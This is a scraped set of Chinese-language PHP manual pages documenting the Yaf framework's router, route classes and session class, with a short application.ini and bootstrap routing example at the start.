;enable the error controller
application.dispatcher.catchException=0
application.dispatcher.defaultModule=Index
application.dispatcher.defaultController=Index
application.dispatcher.defaultAction=index

;defined modules
application.modules= "Index,director"

;database
database.adapter = Pdo_Mysql
database.params.dbname  = printmaster
database.params.host     = localhost ;NA when using sqlite
database.params.username = root ;NA when using sqlite
database.params.password = root ;NA when using sqlite

[devel : product]

;errors (see Bootstrap::initErrors)
application.showErrors=1

#############################################################

Add this in your bootstrap.php

<?php
public function _initRoute(Yaf_Dispatcher $dis) {

$route1 = new Yaf_Route_Rewrite("/director",
            array(
                "controller" => "index",
                "module" => "director",
                "action" => "index"

                )
        );

}
?>


The route purpose

  • ? Yaf_Route_Rewrite::__construct
  • Yaf_Router ?
  • PHP Manual
  • Yaf_Route_Rewrite
  • The route purpose

Yaf_Route_Rewrite::route

(Yaf >=1.0.0)

Yaf_Route_Rewrite::route — The route purpose

说明

public Yaf_Route_Rewrite::route(Yaf_Request_Abstract $request): bool

参数

request

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Router 类

(Yaf >=1.0.0)

简介

Yaf_Router 是标准的框架路由。路由是获取 URI 端点（位于基本 URI 之后的 URI 部分：参考 Yaf_Request_Abstract::setBaseUri()）并将其分解为参数得到哪个 module、controller 和 action 需要接收请求。module、controller、action 和其它参数打包到 Yaf_Request_Abstract 对象中，然后由 Yaf_Dispatcher 处理。路由只发生一次：最初接到请求和在第一个 controller 分发之前。 Yaf_Router 是设计来允许使用纯 PHP 结构的类似 mod_rewrite 的功能。它非常松散的基于 Ruby on Rails 的路由，并且不需要提前知悉 webserver URL 重写的相关知识。它设计为跟单个 Apache mod_rewrite（或其中之一个） 规则一起使用：

Example #1 Apache 重写规则

RewriteEngine on
RewriteRule !\.(js|ico|gif|jpg|png|css|html)$ index.php
或者（首选）：

Example #2 Apache 重写规则

RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]
如果使用 Lighttpd，以下重写规则有效：

Example #3 Lighttpd 重写规则

url.rewrite-once = (
  ".*\?(.*)$" => "/index.php?$1",
  ".*\.(js|ico|gif|jpg|png|css|html)$" => "$0",
  "" => "/index.php"
)
如果使用 Nginx，以下重写规则有效：

Example #4 Nginx 重写规则

server {
  listen ****;
  server_name  yourdomain.com;
  root   document_root;
  index  index.php index.html;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php/$1 last;
  }
}

默认路由

Yaf_Router 预设了默认路由 Yaf_Route_Static，将以 controller/action 的形式匹配 URI。此外，module 名可以被指定为第一个路径元素，允许 URI 设置为 module/controller/action 形式的 URI。最后，它也会匹配默认追加到 URI 中所有附加参数——controller/action/var1/value1/var2/value2。

Note:

Module 名必须在配置中定义，就 application.module="Index,Foo,Bar" 而言，在这种情况下，仅 index、foo 和 bar 可以认做 module 名。如果没有配置，那么 Yaf 使用默认 module 名"Index"。

如何匹配这些路由的一些例子：

Example #5 Yaf_Route_Static（默认路由）示例

// Assuming the following configure:
$conf = array(
   "application" => array(
      "modules" => "Index,Blog",
   ),
);

Controller only:
http://example/news
    controller == news
Action only(when defined yaf.action_prefer=1 in php.ini)
    action  == news

Invalid module maps to controller name:
http://example/foo
    controller == foo

Module + controller:
http://example/blog/archive
    module     == blog
    controller == archive

Module + controller + action:
http://example/blog/archive/list
    module     == blog
    controller == archive
    action     == list

Module + controller + action + params:
http://example/blog/archive/list/sort/alpha/date/desc
    module     == blog
    controller == archive
    action     == list
    sort       == alpha
    date       == desc

类摘要

class Yaf_Router {
/* 属性 */
protected $_routes;
protected $_current;
/* 方法 */
public __construct()
public addConfig(Yaf_Config_Abstract $config): bool
public addRoute(string $name, Yaf_Route_Abstract $route): bool
public getCurrentRoute(): string
public getRoute(string $name): Yaf_Route_Interface
public getRoutes(): mixed
public route(Yaf_Request_Abstract $request): bool
}

属性

_routes

已注册路由栈

_current

在路由阶段后，这用于指示当前请求的路由名称。 可以通过 Yaf_Router::getCurrentRoute() 获取此名称。

Table of Contents

  • Yaf_Router::addConfig — 向 Router 中添加配置文件中定义的路由
  • Yaf_Router::addRoute — 往 Router 中添加新的路由
  • Yaf_Router::__construct — Yaf_Router 构造方法
  • Yaf_Router::getCurrentRoute — 取得当前有效的路由名
  • Yaf_Router::getRoute — 通过名称检索路由
  • Yaf_Router::getRoutes — 检索已注册的路由
  • Yaf_Router::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


向 Router 中添加配置文件中定义的路由

  • ? Yaf_Router
  • Yaf_Router::addRoute ?
  • PHP Manual
  • Yaf_Router
  • 向 Router 中添加配置文件中定义的路由

Yaf_Router::addConfig

(Yaf >=1.0.0)

Yaf_Router::addConfig — 向 Router 中添加配置文件中定义的路由

说明

public Yaf_Router::addConfig(Yaf_Config_Abstract $config): bool

将 application.ini 配置中定义的路由规则添加到 Yaf_Router 的路由栈中

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Yaf_Config_Abstract 实例，包含一个或多个有效的路由配置

示例

Example #1 application.ini() 示例

;the order is very important, the prior one will be called first

;a rewrite route match request /product/*/*
routes.route_name.type="rewrite"
routes.route_name.match="/product/:name/:value"
routes.route_name.route.controller=product
routes.route_name.route.action=info

;a regex route match request /list/*/*
routes.route_name1.type="regex"
routes.route_name1.match="#^list/([^/]*)/([^/]*)#"
routes.route_name1.route.controller=Index
routes.route_name1.route.action=action
routes.route_name1.map.1=name
routes.route_name1.map.2=value

;a simple route match /**?c=controller&a=action&m=module
routes.route_name2.type="simple"
routes.route_name2.controller=c
routes.route_name2.module=m
routes.route_name2.action=a

;a simple router match /**?r=PATH_INFO
routes.route_name3.type="supervar"
routes.route_name3.varname=r

;a map route match any request to controller
routes.route_name4.type="map"
routes.route_name4.controllerPrefer=TRUE
routes.route_namer.delimiter="#!"

Example #2 Yaf_Dispatcher::autoConfig() 示例

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
public function _initConfig() {
$config = Yaf_Application::app()->getConfig();
Yaf_Registry::set("config", $config);
}

public function _initRoute(Yaf_Dispatcher $dispatcher) {
$router = $dispatcher->getRouter();
/**
* we can add some pre-defined routes in application.ini
*/
$router->addConfig(Yaf_Registry::get("config")->routes);
}
?>

参见

  • Yaf_Router::addRoute() - 往 Router 中添加新的路由
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

arthurzwl at gmail dot com 05-Jun-2017 09:04
The regex route should like this.
You need add "/" before "list"
routes.route_name1.match="#^/list/([^/]*)/([^/]*)#"


往 Router 中添加新的路由

  • ? Yaf_Router::addConfig
  • Yaf_Router::__construct ?
  • PHP Manual
  • Yaf_Router
  • 往 Router 中添加新的路由

Yaf_Router::addRoute

(Yaf >=1.0.0)

Yaf_Router::addRoute — 往 Router 中添加新的路由

说明

public Yaf_Router::addRoute(string $name, Yaf_Route_Abstract $route): bool

默认地，Yaf_Router 使用 Yaf_Route_Static 作为它的默认的路由。可以通过调用此方法往 Router 的堆栈中添加新的路由

在路由栈中，新的路由规则会比老的规则先调用，如果新路由规则返回 true，那么路由进程将会结束。否则，老的规则将会被调用。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 Yaf_Dispatcher::autoRender() 示例

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
public function _initConfig() {
$config = Yaf_Application::app()->getConfig();
Yaf_Registry::set("config", $config);
}

public function _initRoute(Yaf_Dispatcher $dispatcher) {
$router = $dispatcher->getRouter();
/**
* we can add some pre-defined routes in application.ini
*/
$router->addConfig(Yaf_Registry::get("config")->routes);
/**
* add a Rewrite route, then for a request uri:
* http://example.com/product/list/22/foo
* will be matched by this route, and result:
*
* [module] =>
* [controller] => product
* [action] => info
* [method] => GET
* [params:protected] => Array
* (
* [id] => 22
* [name] => foo
* )
*
*/
$route = new Yaf_Route_Rewrite(
"/product/list/:id/:name",
array(
"controller" => "product",
"action" => "info",
)
);

$router->addRoute('dummy', $route);
}
}
?>

参见

  • Yaf_Router::addConfig() - 向 Router 中添加配置文件中定义的路由
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Router 构造方法

  • ? Yaf_Router::addRoute
  • Yaf_Router::getCurrentRoute ?
  • PHP Manual
  • Yaf_Router
  • Yaf_Router 构造方法

Yaf_Router::__construct

(Yaf >=1.0.0)

Yaf_Router::__construct — Yaf_Router 构造方法

说明

public Yaf_Router::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


取得当前有效的路由名

  • ? Yaf_Router::__construct
  • Yaf_Router::getRoute ?
  • PHP Manual
  • Yaf_Router
  • 取得当前有效的路由名

Yaf_Router::getCurrentRoute

(Yaf >=1.0.0)

Yaf_Router::getCurrentRoute — 取得当前有效的路由名

说明

public Yaf_Router::getCurrentRoute(): string

获取当前路由进程中正在起作用的路由名

Note:

需要在路由进程结束之后调用此方法，在这之前，这个方法会一直返回 null。

参数

此函数没有参数。

返回值

字符串，当前起效的路由的名字。

示例

Example #1 注册一些路由到 Bootstrap

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
public function _initConfig() {
$config = Yaf_Application::app()->getConfig();
Yaf_Registry::set("config", $config);
}

public function _initRoute(Yaf_Dispatcher $dispatcher) {
$router = $dispatcher->getRouter();
$rewrite_route = new Yaf_Route_Rewrite(
"/product/list/:page",
array(
"controller" => "product",
"action" => "list",
)
);

$regex_route = new Yaf_Route_Rewrite(
"#^/product/info/(\d+)",
array(
"controller" => "product",
"action" => "info",
)
);

$router->addRoute('rewrite', $rewrite_route)->addRoute('regex', $regex_route);
}

/**
* register plugin
*/
public function __initPlugins(Yaf_Dispatcher $dispatcher) {
$dispatcher->registerPlugin(new DummyPlugin());
}
}
?>

Example #2 plugin Dummy.php (under application.directory/plugins)

<?php
class DummyPlugin extends Yaf_Plugin_Abstract {
public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
var_dump(Yaf_Dispatcher::getInstance()->getRouter()->getCurrentRoute());
}
}
?>

以上示例的输出类似于：

/* for http://yourdomain.com/product/list/1
 * DummyPlugin will output:
 */
string(7) "rewrite"

/* for http://yourdomain.com/product/info/34
 * DummyPlugin will output:
 */
string(5) "regex"

/* for other request URI
 * DummyPlugin will output:
 */
string(8) "_default"

参见

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - 往 Router 中添加新的路由

User Contributed Notes

There are no user contributed notes for this page.


通过名称检索路由

  • ? Yaf_Router::getCurrentRoute
  • Yaf_Router::getRoutes ?
  • PHP Manual
  • Yaf_Router
  • 通过名称检索路由

Yaf_Router::getRoute

(Yaf >=1.0.0)

Yaf_Router::getRoute — 通过名称检索路由

说明

public Yaf_Router::getRoute(string $name): Yaf_Route_Interface

通过名字检索路由，参阅 Yaf_Router::getCurrentRoute()

参数

此函数没有参数。

返回值

参见

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - 往 Router 中添加新的路由
  • Yaf_Router::getCurrentRoute() - 取得当前有效的路由名

User Contributed Notes

There are no user contributed notes for this page.


检索已注册的路由

  • ? Yaf_Router::getRoute
  • Yaf_Router::route ?
  • PHP Manual
  • Yaf_Router
  • 检索已注册的路由

Yaf_Router::getRoutes

(Yaf >=1.0.0)

Yaf_Router::getRoutes — 检索已注册的路由

说明

public Yaf_Router::getRoutes(): mixed

检索已注册的路由

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • ? Yaf_Router::getRoutes
  • Yaf_Route_Simple ?
  • PHP Manual
  • Yaf_Router
  • The route purpose

Yaf_Router::route

(Yaf >=1.0.0)

Yaf_Router::route — The route purpose

说明

public Yaf_Router::route(Yaf_Request_Abstract $request): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Simple 类

(Yaf >=1.0.0)

简介

Yaf_Route_Simple 会匹配 query 字符串，然后找到路由信息。

需要做的只是告诉 Yaf_Route_Simple，在 $_GET 中哪个键是 Module，哪个键是 Controller，哪个键是 Action。

Yaf_Route_Simple::route() 始终返回 true，所以把 Yaf_Route_Simple 放在路由栈前面很重要，否则不会调用所有其它路由。

类摘要

class Yaf_Route_Simple implements Yaf_Route_Interface {
/* 属性 */
protected $controller;
protected $module;
protected $action;
/* 方法 */
public __construct(string $module_name, string $controller_name, string $action_name)
public assemble(array $info, array $query = ?): string
public route(Yaf_Request_Abstract $request): bool
}

属性

controller

module

action

Table of Contents

  • Yaf_Route_Simple::assemble — 组合url
  • Yaf_Route_Simple::__construct — Yaf_Route_Simple 构造方法
  • Yaf_Route_Simple::route — 路由请求

User Contributed Notes

There are no user contributed notes for this page.


组合url

  • ? Yaf_Route_Simple
  • Yaf_Route_Simple::__construct ?
  • PHP Manual
  • Yaf_Route_Simple
  • 组合url

Yaf_Route_Simple::assemble

(Yaf >=2.3.0)

Yaf_Route_Simple::assemble — 组合url

说明

public Yaf_Route_Simple::assemble(array $info, array $query = ?): string

根据指定参数和自定义参数将simple这个route组合成一个url

参数

info

需要传入一个数组，数组中每个 key 可为 :m、:c、:a，:m 代表 module，:c 代表 controller, :a 代表 action

query

用户自定义的 query string，将根据此路由规则拼接在 url 中

返回值

返回 string。

错误／异常

如果 info 中 ':c' 和 ':a' 键未设置，抛出 Yaf_Exception_TypeError。

示例

Example #1 Yaf_Route_Simple::assemble() 示例

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Simple('m', 'c', 'a');

$router->addRoute("simple", $route);

var_dump($router->getRoute('simple')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':c' => 'yafcontroller',
':m' => 'yafmodule'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
));

以上示例的输出类似于：

string(64) "?m=yafmodule&c=yafcontroller&a=yafaction&tkey1=tval1&tkey2=tval2"

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Simple 构造方法

  • ? Yaf_Route_Simple::assemble
  • Yaf_Route_Simple::route ?
  • PHP Manual
  • Yaf_Route_Simple
  • Yaf_Route_Simple 构造方法

Yaf_Route_Simple::__construct

(Yaf >=1.0.0)

Yaf_Route_Simple::__construct — Yaf_Route_Simple 构造方法

说明

public Yaf_Route_Simple::__construct(string $module_name, string $controller_name, string $action_name)

Yaf_Route_Simple 将从 query 字符串中获得路由信息。这个构造方法的参数会被作为键到 $_GET 中去寻找路由信息。

Warning

本函数还未编写文档，仅有参数列表。

参数

module_name

module 信息的键名。

controller_name

controller 信息的键名。

action_name

action 信息的键名。

返回值

总是返回 true。

示例

Example #1 Yaf_Route_Simple::route() 示例

<?php
$route = new Yaf_Route_Simple("m", "controller", "act");
Yaf_Router::getInstance()->addRoute("simple", $route);
?>

Example #2 Yaf_Route_Simple::route()example

Request: http://yourdomain.com/path/?controller=a&act=b
=> module = default(index), controller = a, action = b

Request: http://yourdomain.com/path
=> module = default(index), controller = default(index), action = default(index)

参见

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Static::route() - 路由请求
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.


路由请求

  • ? Yaf_Route_Simple::__construct
  • Yaf_Route_Static ?
  • PHP Manual
  • Yaf_Route_Simple
  • 路由请求

Yaf_Route_Simple::route

(Yaf >=1.0.0)

Yaf_Route_Simple::route — 路由请求

说明

public Yaf_Route_Simple::route(Yaf_Request_Abstract $request): bool

参阅 Yaf_Route_Simple::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

request

返回值

始终为 true

参见

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Static::route() - 路由请求
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Static 类

(Yaf >=1.0.0)

简介

默认的情况下，Yaf_Router 只将 Yaf_Route_Static 作为默认路由。

Yaf_Route_Static 旨在处理 80% 的需求。

请注意：没有必要实例化 Yaf_Route_Static，也没必要将其加入到 Yaf_Router 的路由栈，因为在 Yaf_Router 的路由堆栈中始终存在它的实例，并且总是在最后调用。

类摘要

class Yaf_Route_Static implements Yaf_Router {
/* 方法 */
public assemble(array $info, array $query = ?): string
public match(string $uri): void
public route(Yaf_Request_Abstract $request): bool
}

Table of Contents

  • Yaf_Route_Static::assemble — 组合 url
  • Yaf_Route_Static::match — The match purpose
  • Yaf_Route_Static::route — 路由请求

User Contributed Notes

There are no user contributed notes for this page.


组合 url

  • ? Yaf_Route_Static
  • Yaf_Route_Static::match ?
  • PHP Manual
  • Yaf_Route_Static
  • 组合 url

Yaf_Route_Static::assemble

(Yaf >=2.3.0)

Yaf_Route_Static::assemble — 组合 url

说明

public Yaf_Route_Static::assemble(array $info, array $query = ?): string

根据指定参数和自定义参数将 static 这个 route 组合成一个 url

参数

info

需要传入一个数组，数组中每个 key 可为 :m、:c、:a，:m 代表 module，:c 代表 controller, :a 代表 action

query

用户自定义的 query string，将根据此路由规则拼接在 url 中

返回值

返回 string。

错误／异常

如果 info 中 ':c' 和 ':a' 键未设置，抛出 Yaf_Exception_TypeError。

示例

Example #1 Yaf_Route_Static::assemble() 示例

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Static();

$router->addRoute("static", $route);

var_dump($router->getRoute('static')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':c' => 'yafcontroller',
':m' => 'yafmodule'
),
)
);

var_dump($router->getRoute('static')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':c' => 'yafcontroller',
':m' => 'yafmodule'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
)
);

以上示例的输出类似于：

string(%d) "/yafmodule/yafcontroller/yafaction"
string(%d) "/yafmodule/yafcontroller/yafaction?tkey1=tval1&tkey2=tval2"

User Contributed Notes

There are no user contributed notes for this page.


The match purpose

  • ? Yaf_Route_Static::assemble
  • Yaf_Route_Static::route ?
  • PHP Manual
  • Yaf_Route_Static
  • The match purpose

Yaf_Route_Static::match

(Yaf >=1.0.0)

Yaf_Route_Static::match — The match purpose

说明

public Yaf_Route_Static::match(string $uri): void

Warning

本函数还未编写文档，仅有参数列表。

参数

uri

返回值

User Contributed Notes

There are no user contributed notes for this page.


路由请求

  • ? Yaf_Route_Static::match
  • Yaf_Route_Supervar ?
  • PHP Manual
  • Yaf_Route_Static
  • 路由请求

Yaf_Route_Static::route

(Yaf >=1.0.0)

Yaf_Route_Static::route — 路由请求

说明

public Yaf_Route_Static::route(Yaf_Request_Abstract $request): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

request

返回值

总是返回 true

示例

Example #1 Yaf_Route_Static::route()example

// assuming there is only one module defined:Index
Request: http://yourdomain.com/a/b
=> module = index, controller=a, action=b

//assuming ap.action_prefer = On
Request: http://yourdomain.com/b
=> module = default(index), controller = default(index), action = b

//assuming ap.action_prefer = Off
Request: http://yourdomain.com/b
=> module = default(index), controller = b, action = default(index)

Request: http://yourdomain.com/a/b/foo/bar/test/a/id/4
=> module = default(index), controller = a, action = b, request parameters: foo = bar, test = a, id = 4

参见

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Simple::route() - 路由请求
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - The route purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Supervar 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Route_Supervar implements Yaf_Route_Interface {
/* 属性 */
protected $_var_name;
/* 方法 */
public __construct(string $supervar_name)
public assemble(array $info, array $query = ?): string
public route(Yaf_Request_Abstract $request): bool
}

属性

_var_name

Table of Contents

  • Yaf_Route_Supervar::assemble — 组合 url
  • Yaf_Route_Supervar::__construct — The __construct purpose
  • Yaf_Route_Supervar::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


组合 url

  • ? Yaf_Route_Supervar
  • Yaf_Route_Supervar::__construct ?
  • PHP Manual
  • Yaf_Route_Supervar
  • 组合 url

Yaf_Route_Supervar::assemble

(Yaf >=2.3.0)

Yaf_Route_Supervar::assemble — 组合 url

说明

public Yaf_Route_Supervar::assemble(array $info, array $query = ?): string

根据指定参数和自定义参数将 supervar 这个 route 组合成 url

参数

info

需要传入一个数组，数组中每个 key 可为 :m、:c、:a，:m 代表 module，:c 代表 controller, :a 代表 action

query

用户自定义的 query string，将根据此路由规则拼接在 url 中

返回值

返回 string。

错误／异常

如果 info 中 ':c' 和 ':a' 键未设置，抛出 Yaf_Exception_TypeError。

示例

Example #1 Yaf_Route_Supervar::assemble() 示例

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Supervar('r');

$router->addRoute("supervar", $route);

var_dump($router->getRoute('supervar')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':c' => 'yafcontroller',
':m' => 'yafmodule'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
));

try {
var_dump($router->getRoute('supervar')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':m' => 'yafmodule'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2',
1 => array(),
)
));
} catch (Exception $e) {
var_dump($e->getMessage());
}

以上示例的输出类似于：

string(%d) "?r=/yafmodule/yafcontroller/yafaction&tkey1=tval1&tkey2=tval2"
string(%d) "You need to specify the controller by ':c'"

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ? Yaf_Route_Supervar::assemble
  • Yaf_Route_Supervar::route ?
  • PHP Manual
  • Yaf_Route_Supervar
  • The __construct purpose

Yaf_Route_Supervar::__construct

(Yaf >=1.0.0)

Yaf_Route_Supervar::__construct — The __construct purpose

说明

public Yaf_Route_Supervar::__construct(string $supervar_name)

Yaf_Route_Supervar 类似于 Yaf_Route_Static，不同的是 Yaf_Route_Supervar 在 query 字符串中寻找路径信息，参数 supervar_name 是键。

参数

supervar_name

键名

返回值

示例

Example #1 Yaf_Route_Supervar() 示例

<?php
/**
* Add a supervar route to Yaf_Router route stack
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute(
"name",
new Yaf_Route_Supervar("r")
);
?>

以上示例的输出类似于：

/** for request: http://yourdomain.com/xx/oo/?r=/ctr/act/var/value
  * will result in following:
  */
  array (
    "module"   => index(default),
    "controller" => ctr,
    "action"     => act,
    "params"     => array(
          "var" => value,
     )
  )

参见

  • Yaf_Router::addRoute() - 往 Router 中添加新的路由
  • Yaf_Router::addConfig() - 向 Router 中添加配置文件中定义的路由
  • Yaf_Route_Static
  • Yaf_Route_Regex
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • ? Yaf_Route_Supervar::__construct
  • Yaf_Session ?
  • PHP Manual
  • Yaf_Route_Supervar
  • The route purpose

Yaf_Route_Supervar::route

(Yaf >=1.0.0)

Yaf_Route_Supervar::route — The route purpose

说明

public Yaf_Route_Supervar::route(Yaf_Request_Abstract $request): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

request

返回值

如果在 $_GET 中有键（在 Yaf_Route_Supervar::__construct() 中定义），返回 true，否则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Session 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Session implements Iterator, ArrayAccess, Countable {
/* 属性 */
protected static $_instance;
protected $_session;
protected $_started;
/* 方法 */
private __construct()
public count(): void
public current(): void
public del(string $name): void
public __get(string $name): void
public static getInstance(): void
public has(string $name): void
public __isset(string $name): void
public key(): void
public next(): void
public offsetExists(string $name): void
public offsetGet(string $name): void
public offsetSet(string $name, string $value): void
public offsetUnset(string $name): void
public rewind(): void
public __set(string $name, string $value): void
public start(): void
public __unset(string $name): void
public valid(): void
}

属性

_instance

_session

_started

Table of Contents

  • Yaf_Session::__construct — Yaf_Session 构造方法
  • Yaf_Session::count — The count purpose
  • Yaf_Session::current — The current purpose
  • Yaf_Session::del — The del purpose
  • Yaf_Session::__get — The __get purpose
  • Yaf_Session::getInstance — The getInstance purpose
  • Yaf_Session::has — The has purpose
  • Yaf_Session::__isset — The __isset purpose
  • Yaf_Session::key — The key purpose
  • Yaf_Session::next — The next purpose
  • Yaf_Session::offsetExists — The offsetExists purpose
  • Yaf_Session::offsetGet — The offsetGet purpose
  • Yaf_Session::offsetSet — The offsetSet purpose
  • Yaf_Session::offsetUnset — The offsetUnset purpose
  • Yaf_Session::rewind — The rewind purpose
  • Yaf_Session::__set — The __set purpose
  • Yaf_Session::start — The start purpose
  • Yaf_Session::__unset — The __unset purpose
  • Yaf_Session::valid — The valid purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Session 构造方法

  • ? Yaf_Session
  • Yaf_Session::count ?
  • PHP Manual
  • Yaf_Session
  • Yaf_Session 构造方法

Yaf_Session::__construct

(Yaf >=1.0.0)

Yaf_Session::__construct — Yaf_Session 构造方法

说明

private Yaf_Session::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The count purpose

  • ? Yaf_Session::__construct
  • Yaf_Session::current ?
  • PHP Manual
  • Yaf_Session
  • The count purpose

Yaf_Session::count

(Yaf >=1.0.0)

Yaf_Session::count — The count purpose

说明

public Yaf_Session::count(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The current purpose

  • ? Yaf_Session::count
  • Yaf_Session::del ?
  • PHP Manual
  • Yaf_Session
  • The current purpose

Yaf_Session::current

(Yaf >=1.0.0)

Yaf_Session::current — The current purpose

说明

public Yaf_Session::current(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The del purpose

  • ? Yaf_Session::current
  • Yaf_Session::__get ?
  • PHP Manual
  • Yaf_Session
  • The del purpose

Yaf_Session::del

(Yaf >=1.0.0)

Yaf_Session::del — The del purpose

说明

public Yaf_Session::del(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The __get purpose

  • ? Yaf_Session::del
  • Yaf_Session::getInstance ?
  • PHP Manual
  • Yaf_Session
  • The __get purpose

Yaf_Session::__get

(Yaf >=1.0.0)

Yaf_Session::__get — The __get purpose

说明

public Yaf_Session::__get(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getInstance purpose

  • ? Yaf_Session::__get
  • Yaf_Session::has ?
  • PHP Manual
  • Yaf_Session
  • The getInstance purpose

Yaf_Session::getInstance

(Yaf >=1.0.0)

Yaf_Session::getInstance — The getInstance purpose

说明

public static Yaf_Session::getInstance(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The has purpose

  • ? Yaf_Session::getInstance
  • Yaf_Session::__isset ?
  • PHP Manual
  • Yaf_Session
  • The has purpose

Yaf_Session::has

(Yaf >=1.0.0)

Yaf_Session::has — The has purpose

说明

public Yaf_Session::has(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • ? Yaf_Session::has
  • Yaf_Session::key ?
  • PHP Manual
  • Yaf_Session
  • The __isset purpose

Yaf_Session::__isset

(Yaf >=1.0.0)

Yaf_Session::__isset — The __isset purpose

说明

public Yaf_Session::__isset(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The key purpose

  • ? Yaf_Session::__isset
  • Yaf_Session::next ?
  • PHP Manual
  • Yaf_Session
  • The key purpose

Yaf_Session::key

(Yaf >=1.0.0)

Yaf_Session::key — The key purpose

说明

public Yaf_Session::key(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The next purpose

  • ? Yaf_Session::key
  • Yaf_Session::offsetExists ?
  • PHP Manual
  • Yaf_Session
  • The next purpose

Yaf_Session::next

(Yaf >=1.0.0)

Yaf_Session::next — The next purpose

说明

public Yaf_Session::next(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • ? Yaf_Session::next
  • Yaf_Session::offsetGet ?
  • PHP Manual
  • Yaf_Session
  • The offsetExists purpose

Yaf_Session::offsetExists

(Yaf >=1.0.0)

Yaf_Session::offsetExists — The offsetExists purpose

说明

public Yaf_Session::offsetExists(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The offsetGet purpose

  • ? Yaf_Session::offsetExists
  • Yaf_Session::offsetSet ?
  • PHP Manual
  • Yaf_Session
  • The offsetGet purpose

Yaf_Session::offsetGet

(Yaf >=1.0.0)

